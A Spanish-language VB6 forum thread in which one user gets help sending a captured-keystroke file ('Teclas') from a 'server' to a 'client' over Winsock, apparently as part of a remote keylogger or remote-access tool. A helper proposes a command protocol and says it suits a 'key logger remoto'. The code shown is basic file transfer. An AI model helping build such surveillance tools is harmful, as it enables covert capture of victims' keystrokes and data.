Autor
|
Tema: [SOLUCIONADO] Problema al abrir archivo para enviar (Leído 11,380 veces)
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
gracias por la respuesta, estoy probando pero le falta el loop para que se repita la operación y falta ponerle un limite a bBuf
Analisa el 2do codigo... por otro lado el 1ro es solo una parte tampoco te dare todo el codigo ¬¬!. Dulces Lunas1¡. .
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
si lo analise y ya probe pero no va sigue con lo mismo ¬¬ no es el code sino que entra en conflicto con algo, como ago para ejecutar mi programa sin tener que generarlo y sin tener que borrar parte del code. Lo que pasa es que mi code tiene funciones que necesita estar generado para que funcionen :S, el otro dia por probar esto mismo borre todo el load de mi proyecto y mi hermano lo guardo y lo cerro cuando yo no estaba ¬¬ estuve una semana reconstruyendo lo que perdi :'(
|
|
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
. Tienes Varias Opciones para corregir el Código fuente como son:
Puntos de interrupción. Recorrer linea a linea el código fuente. ... Analizar el flujo del programa. Depuración Parcial. Depuración Completa.
y como sabrán muchos estas opciones están en los menús del IDE...
tal y como tijo RAUL338
Dulces Lunas!¡. .
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
me podrias guiar un poco en eso porfavor?, nunk e utilizado esas funciones :S nose cual es el menu IDE
En el menu de depuracion esta la opcion para poner puntos de interrupcion pero nose para que sirve ni como se usa xD
|
|
« Última modificación: 27 Abril 2011, 22:15 pm por ŞCØRPIØN-X3 »
|
En línea
|
|
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
Gracias BlackZero ya logre solucionar lo del error, ahora el problema es el siguiente :s. Yo envio los datos por winsock con una frase que lo identifique delante. Y el receptor al recibir la informacion, corta los primeros 5 digitos y hace comparaciones para saber de que texto se trata. Lo que pasa es que en el code nose porque no me funciona :S, este seria el Cliente: Dim Texto As String Dim Identificar As String Winsock1.GetData Texto
Identificar = Left(Texto, 6)
If Identificar = "Teclas" Then Case "Teclas" Archivo = Archivo & Texto If Len(Archivo) >= Largo Then RichTextBox1.Text = Archivo Largo = 0 End If End Select End If y este el Servidor: Dim buf As String * 1024 Dim Todox As String Open "C:\Archivo.txt" For Binary As #1 Do While EOF(1) = False DoEvents Get #1, , buf Todox = Todox & buf Loop Close #1 Winsock1.SendData "Teclas" & Todox perdon por tantas preguntas :S espero que me puedan ayudar muchas gracias BlackZerox por tu tiempo
|
|
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
. No te recomiendo que lo hagas de esa manera es poco optimo mejor create un protocolo Ej: Peticion de envio: SendData <Argumentos> El servidor debera responde con el mismo mensaje solo que con un true o false segun el caso si es true pasa a mandar el cliente el siguiente comando que serian: Recepcion de Datos: InfoData <Argumentos> donde argumentos contiene TODA la informacion nesesaria por ejemplo el nombre del archivo, Peso del archivo. y cuando termine de enviar los datos el servidor que es quien en ese momento esta contando los bytes cuando llegue a el ultimo envie el: ReportData <Argumentos> donde argumentos es un reporte general y detallo de lo que se recivio. Ejemplo del flujo: //Suponiendo el flujo normal de transicion: Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus... Servidor: SendData True Cliente: InfoData Archivo.exe|102400|c:\|filenew.exe|30 Servidor: SendData true Cliente: manda todos los bytes de manera Compulsiva hasta que termina.. Servidor: Contara los bytes cuando llegue a 102400 segun lo que el cliente a dicho que enviara con el comando InfoData o que haya un retardo de 30 segundos que no se envien datos terminara de resivir los bytes y procedera a el siguiente comando: Servidor: ReportData c:\|filenew.exe|102400 //Termina.
//Suponiendo que el servidor no permite la resepcion de transferencias: Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus... Servidor: SendData False //Termina.
//Otro caso peculiar de este protocolo seria que terminara hasta aqui: //Suponiendo el flujo normal de transicion: Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus... Servidor: SendData True Cliente: InfoData Archivo.exe|102400|c:\|filenew.exe|30 Servidor: SendData false //si no hubiera espacio en disco, ya existe el archivo, claro este deberia ser mejor con algun numero que representara el estado por el cual no a seguido en lugar de un true y false ( 0 = Ok, 1=Archivoexistente, 2=Espacio en disco insuficiente, etc... ) //Termina.
SDe esta manera tu programa sera maleable y adaptable a un standart en tu programa y no a algo muy lineal... un ejemplo de esto es que mas o menos haci trabaja el protocolo HTTP 1.1 claro es mas complejo pero es similar. Temibles Lunas!¡.
|
|
« Última modificación: 28 Abril 2011, 23:17 pm por BlackZeroX▓▓▒▒░░ »
|
En línea
|
The Dark Shadow is my passion.
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
lo que pasa es que mi proyecto realiza mas de 20 acciones, tengo que indicarle las diferentes cosas al servidor, porejemplo si desde el cliente pido informacion de un archivo X.txt que al recibirlo el cliente lo ponga en un textbox1 y si pido la informacion de la PC porejemplo en el cliente me lo muestre en otro textbox. Nose si entendi bien, si es que te referias que es poco optimo enviar asi : winsock1.senddata "Dato1" & "Informacion a enviar" y que en el cliente corte los primeros digitos dependiendo el largo del nombre y comprueba que dato es el que se esta recibiendo
|
|
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
. Se a lo que te refieres, pero de manera en la que te di un tip es decisión tuya tomarla/manipularla/moldearla al gusto, igual lo que haces se te hace facil pero es mas laborioso en la forma practica aun que ahorita no lo sientas asi cuando quieras editar el programa uff te daras topes, ademas u protocolo que sea moldeable no solo servira con archivos puede servir para un key logger remoto, envió de cualquier tipo de información bueno vaya es mas dinamico y su código es mas re-utilizable, es decir que tu codigo puede reutilizr ese protocolo con números que indican algo a el servidor o al cliente y por medio de los mismo saber que se esta haciendo (Select Case), asi da igual que tengas 10, 20 30 o 1000 acciones distintas...
por utimo tu problema de los sockets se resuelve con esto que te menciono, ya que si sigues haciendo eso digamos que dentro del archivo esta la palabra "teclas" y esa palabra es reservada de alguna manera en tu programa para idenficar los datos respectivos, vaya que dilema no?, Solución un protocolo dinamico...
P.D.: Mo tomes una solucion apra algo en espesifico moldeala para varios casos no le cierres las expanciones posibles, si tomas la desicion de hacer el protocolo te recomiendo antes agarrar una hoja de papel y escribir hay cada parabra o comando reservado y su forma de la manera mas reducida moldeable y adaptable posible, tomando en consideracion casos nulos y Medios ( parametros completos o medios con en el ejemplo anterior ).
Dulces Lunas!¡.
|
|
« Última modificación: 29 Abril 2011, 01:10 am por BlackZeroX▓▓▒▒░░ »
|
En línea
|
The Dark Shadow is my passion.
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
gracias por tu respuesta blackzero, no entendi muy bien el tip que me pusiste, modificando un poco el codigo que tenia, logre realizar que se envien bien los datos, pero nose porque motivo el identificador que envio figura en el richtextbox. El codigo en el cliente quedo asi: dim Identificador as string dim Datos as string
Winsock1.GetData Datos
Identificador = Left(Datos, 8) [b]Datos = Right(Datos, Len(Datos) - 8)[/b] 'Le borro a "Datos" los primeros 8 digitos que corresponden al indentificador
If Identificador = "*Teclas*" Then Archivo = Archivo & Datos RichTextBox1.Text = Archivo End If y el del servidor quedo asi: Dim buf As String * 1024 Open App.path & "\Archivo.txt" For Binary As #3 Do While EOF(3) = False DoEvents Get #3, , buf Winsock1.SendData "*Teclas*" & buf Loop Close #3 El identificador es "*Teclas*", y supuestamente no tendria que escribirse en el richtextbox ya que al principio del code borra los primeros digitos que corresponden al identificador. espero que me puedan ayudar muchas gracias por su tiempo, BlackZero gracias por los codes que me has pasado
|
|
« Última modificación: 30 Abril 2011, 23:42 pm por ŞCØRPIØN-X3 »
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Problema al enviar archivo
Programación Visual Basic
|
Meg
|
0
|
1,254
|
19 Marzo 2007, 20:36 pm
por Meg
|
|
|
Problema enviar archivo
« 1 2 ... 5 6 »
Programación Visual Basic
|
Jareth
|
53
|
11,372
|
8 Abril 2007, 23:00 pm
por DrakoX
|
|
|
problema con enviar archivo y progressbar
Programación Visual Basic
|
vivachapas
|
4
|
2,234
|
2 Agosto 2008, 16:18 pm
por vivachapas
|
|
|
problema al enviar archivo al navegador ?
Programación Visual Basic
|
rembolso
|
4
|
3,505
|
22 Agosto 2009, 12:42 pm
por SRVAM
|
|
|
[Batch] Problema para enviar un find a un archivo y obtenerlo como variable
Scripting
|
Shike1000
|
2
|
4,092
|
17 Febrero 2020, 18:50 pm
por Shike1000
|
|